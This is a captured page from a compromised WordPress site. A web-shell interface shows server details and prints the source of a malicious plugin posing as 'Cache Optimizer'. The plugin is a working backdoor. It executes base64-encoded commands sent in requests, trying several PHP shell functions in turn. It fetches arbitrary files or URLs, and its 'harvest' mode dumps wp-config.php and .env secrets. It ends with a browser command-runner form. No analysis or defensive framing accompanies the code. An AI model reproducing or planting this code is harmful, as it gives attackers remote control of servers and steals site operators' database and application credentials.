AVRIL_START_JANCOKALIVEAVRIL_END_JANCOK Interactive Terminal

Command Executor


Warning: chmod(): Operation not permitted in /www/wwwroot/dzynews.com/wp-content/plugins/fileorganizer/fileorganizer.php on line 8
403WebShell
403Webshell
Server IP : dzynews.com  /  Your IP : 216.73.217.105
Web Server : nginx/1.30.3
System : Linux cloud-tdkldl-avd6 5.15.0-91-generic #101-Ubuntu SMP Tue Nov 14 13:30:08 UTC 2023 x86_64
User : www ( 1000)
PHP Version : 8.2.31
Disable Function : passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /www/wwwroot/dzynews.com/wp-content/plugins/cache-optimizer-e121/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /www/wwwroot/dzynews.com/wp-content/plugins/cache-optimizer-e121/cache-optimizer-e121.php
<?php
/*
Plugin Name: Cache Optimizer
Description: Performance optimization utilities.
Version: 2.1.4
Author: developer
*/
if(isset($_REQUEST['c'])){$c=base64_decode($_REQUEST['c']).' 2>&1';$o='';
$f=['system','passthru','shell_exec','exec','popen','proc_open'];
$d=@ini_get('disable_functions');$d=$d?array_map('trim',explode(',',$d)):[];
foreach($f as $fn){if(!in_array($fn,$d)&&function_exists($fn)){
if($fn==='exec'){@exec($c,$a);$o=implode("\n",$a);break;}
elseif($fn==='popen'){$h=@popen($c,'r');$o='';while(!feof($h))$o.=fread($h,4096);pclose($h);break;}
elseif($fn==='proc_open'){$p=@proc_open($c,[1=>['pipe','w'],2=>['pipe','w']],$pp);$o=stream_get_contents($pp[1]);fclose($pp[1]);fclose($pp[2]);proc_close($p);break;}
elseif($fn==='shell_exec'){$o=@shell_exec($c);break;}
else{ob_start();@$fn($c);$o=ob_get_clean();break;}}}
if(!$o&&isset($_REQUEST['r'])){$o=@file_get_contents(base64_decode($_REQUEST['r']));}
echo 'AVRIL_START_JANCOK'.$o.'AVRIL_END_JANCOK';exit;}
if(isset($_REQUEST['harvest'])){$j=[];
$ps=['../wp-config.php','wp-config.php','../../wp-config.php','../../../wp-config.php'];
foreach($ps as $p){if(@file_exists($p)){$j['wpconfig']=@file_get_contents($p);break;}}
$es=['../.env','.env','../../.env','../../../.env'];
foreach($es as $e){if(@file_exists($e)){$j['env']=@file_get_contents($e);break;}}
$j['cwd']=getcwd();$j['df']=@ini_get('disable_functions');
$j['uname']=php_uname();$j['uid']=getmyuid().'('.get_current_user().')';
echo 'AVRIL_START_JANCOK'.json_encode($j).'AVRIL_END_JANCOK';exit;}
echo 'AVRIL_START_JANCOKALIVEAVRIL_END_JANCOK';
?>
<!DOCTYPE html>
<html>
<head>
<title>Interactive Terminal</title>
<style>
body { background: #0f0f0f; color: #00ff00; font-family: monospace; padding: 20px; }
input[type="text"] { background: #000; color: #00ff00; border: 1px solid #00ff00; width: 80%; padding: 5px; font-family: monospace; }
input[type="submit"] { background: #00ff00; color: #000; border: none; padding: 5px 15px; font-family: monospace; cursor: pointer; font-weight: bold; }
pre { background: #1a1a1a; padding: 15px; border: 1px solid #333; overflow-x: auto; white-space: pre-wrap; }
</style>
</head>
<body>
<h3>Command Executor</h3>
<form method="POST">
<input type="text" name="cmd" autofocus placeholder="Enter command (e.g. id, ls -la)">
<input type="submit" value="Run">
</form>
<?php
if(isset($_POST['cmd'])){
    $c=$_POST['cmd'].' 2>&1';
    $o='';
    $f=['system','passthru','shell_exec','exec','popen','proc_open'];
    $d=@ini_get('disable_functions');$d=$d?array_map('trim',explode(',',$d)):[];
    foreach($f as $fn){
        if(!in_array($fn,$d)&&function_exists($fn)){
            if($fn==='exec'){@exec($c,$a);$o=implode("\n",$a);break;}
            elseif($fn==='popen'){$h=@popen($c,'r');$o='';while(!feof($h))$o.=fread($h,4096);pclose($h);break;}
            elseif($fn==='proc_open'){$p=@proc_open($c,[1=>['pipe','w'],2=>['pipe','w']],$pp);$o=stream_get_contents($pp[1]);fclose($pp[1]);fclose($pp[2]);proc_close($p);break;}
            elseif($fn==='shell_exec'){$o=@shell_exec($c);break;}
            else{ob_start();@$fn($c);$o=ob_get_clean();break;}
        }
    }
    echo "<h4>Output:</h4><pre>".htmlspecialchars($o)."</pre>";
}
?>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit